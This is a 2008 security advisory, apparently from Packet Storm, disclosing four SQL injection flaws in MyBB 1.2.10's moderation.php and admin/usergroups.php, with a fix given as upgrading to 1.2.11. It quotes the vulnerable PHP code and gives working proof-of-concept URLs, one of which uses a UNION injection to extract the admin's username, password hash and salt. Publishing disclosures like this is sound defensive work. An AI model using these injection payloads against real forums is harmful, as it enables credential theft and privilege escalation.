waraxe-2008-SA-062.txt

2008-01-17T00:00:00
ID PACKETSTORM:62715
Type packetstorm
Reporter Janek Vind aka waraxe
Modified 2008-01-17T00:00:00

Description

                                        
                                            `  
[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 16. January 2008  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-62.html  
  
  
Target software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
MyBB is a discussion board that has been around for a while; it has evolved  
from other bulletin boards into the forum package it is today. Therefore,  
it is a professional and efficient discussion board, developed by an active  
team of developers.  
  
Vulnerabilities discovered  
===============================================================================  
  
1. SQL Injection in "moderation.php" action "do_mergeposts"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Precondition: attacker must have moderator privileges in target MyBB  
installation, including "canmanagethreads".  
  
>From source code of "moderation.php" line ~438:  
  
-------------------------------------------------------------------------------  
// Lets merge those selected posts!  
case "do_mergeposts":  
if(is_moderator($fid, "canmanagethreads") != "yes")  
{  
error_no_permission();  
}  
$plugins->run_hooks("moderation_do_mergeposts");  
$mergepost = $mybb->input['mergepost'];  
if(count($mergepost) <= 1)  
{  
error($lang->error_nomergeposts);  
}  
  
foreach($mergepost as $pid => $yes)  
{  
$plist[] = $pid;  
}  
  
$moderation->merge_posts($plist, $tid, $mybb->input['sep']);  
-------------------------------------------------------------------------------  
  
As seen above, unsanitized array variable 'mergepost' from GPC is delivered to  
function "merge_posts()" as first argument - "$plist".  
  
Source code of "merge_posts":  
-------------------------------------------------------------------------------  
function merge_posts($pids, $tid, $sep="new_line")  
{  
global $db, $plugins;  
  
$pidin = implode(",", $pids);  
$first = 1;  
// Get the messages to be merged  
$query = $db->query("  
SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts  
FROM ".TABLE_PREFIX."posts p  
LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid)  
WHERE p.tid='$tid' AND p.pid IN($pidin)  
ORDER BY dateline ASC  
");  
-------------------------------------------------------------------------------  
  
It is obvious, that "$pids" argument will be used in sql query without any   
sanitization. So sql injection security hole seems to exist here.  
  
Let's try this proof of concept test:  
  
http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts  
&mergepost[war]=1&mergepost[axe]=2  
  
... and we can see sql error message:  
  
MySQL error: 1054  
Unknown column 'war' in 'where clause'  
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts  
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid)  
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC  
  
Yes, indeed, sql injection exists and as bonus, we can determine from error  
message additional piece of information, useful for sql injections -  
table prefix. It can be different from "mybb_" and without knowing it we will  
have trouble trying to fetch data from MyBB tables.  
  
This was Proof-Of-Concept test, how about real attack example?  
Here it is:  
  
http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts  
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,  
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)  
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2  
  
As result we can see sql error message:  
  
MySQL error: 1064  
You have an error in your SQL syntax; check the manual that corresponds to  
your MySQL server version for the right syntax to use near ... line 1  
Query: UPDATE mybb_users SET postnum=postnum-1  
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''  
  
Yeah - admin's username, password hash and salt, all in one line!  
  
Now - mitigating factors. First of all, attacker must have moderator privileges,  
including "canmanagethreads". So this sql injection security hole can be  
used for privileges escalation from moderator to admin, if admin's password  
is weak enough to be cracked with reasonable processing power and time.  
  
Error feedback - if attacker can't see sql error messages, then this will not  
stop the attack, it will be just harder to exploit and involves blind sql  
injection attack methods.  
  
  
2. SQL Injection in "moderation.php" action "allreports"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Precondition: attacker must have moderator privileges in target MyBB  
installation.  
  
Let's try:  
  
http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'  
+UNION+SELECT+waraxe--+  
  
And we see error message:  
  
MySQL error: 1054  
Unknown column 'waraxe' in 'field list'  
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE  
rid <= '0' UNION SELECT waraxe-- '  
  
Problematic code:  
  
case "allreports":  
if(is_moderator() != "yes")  
{  
error_no_permission();  
}  
...  
if($mybb->input['rid'])  
{  
$query = $db->simple_select(TABLE_PREFIX."reportedposts",  
"COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'");  
  
This sql injection can ultimately lead to privilege escalation from  
moderator level to admin level - as in previous case.  
  
  
3. SQL Injection in "moderation.php" action "do_multimovethreads"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Precondition: attacker must have moderator privileges in target MyBB  
installation, including "canmanagethreads".  
  
Let's issue this request:  
  
http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads  
&moveto=2&threads=war|axe  
  
Error message:  
  
MySQL error: 1054  
Unknown column 'war' in 'where clause'  
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads  
WHERE tid IN (war,axe)  
  
Flawed piece of code:  
  
case "do_multimovethreads":  
if(is_moderator($fid, "canmanagethreads") != "yes")  
{  
error_no_permission();  
}  
$moveto = intval($mybb->input['moveto']);  
$threadlist = explode("|", $mybb->input['threads']);  
foreach($threadlist as $tid)  
{  
$tids[] = $tid;  
}  
...  
$moderation->move_threads($tids, $moveto);  
  
Similary to previous two cases, this sql injection can lead to privilege  
escalation from moderator level to admin level within MyBB context.  
  
  
4. SQL Injection in "admin/usergroups.php"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Precondition: attacker must have admin privileges in MyBB context, therefore  
risk level is low. Still, any non-superadmin can fetch any data from database,  
including password hashes for other admins.  
  
http://localhost/mybb.1.2.10/admin/usergroups.php?  
adminsid=f962d4e991671f3f930d7117a745147f  
&action=do_joinrequests  
&request[waraxe]=decline  
  
Error:  
  
MySQL error: 1054  
Unknown column 'waraxe' in 'where clause'  
Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid=''  
  
http://localhost/mybb.1.2.10/admin/usergroups.php?  
adminsid=f962d4e991671f3f930d7117a745147f  
&action=do_joinrequests  
&request[-1]=decline  
&gid='waraxe  
  
Error:  
  
MySQL error: 1064  
You have an error in your SQL syntax; check the manual that corresponds to  
your MySQL server version for the right syntax to use near 'waraxe'' at line 1  
Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe'  
  
Reason - incoming variables "request" and "gid" are not properly sanitized  
before using in sql queries.  
  
  
How to fix:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Download MyBB new version 1.2.11 as soon as possible!  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb  
and anyone else who know me!  
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
come2waraxe@yahoo.com  
Janek Vind "waraxe"  
  
Homepage: http://www.janekvind.com/  
Waraxe forum: http://www.waraxe.us/forums.html  
  
---------------------------------- [ EOF ] --------------------------------  
`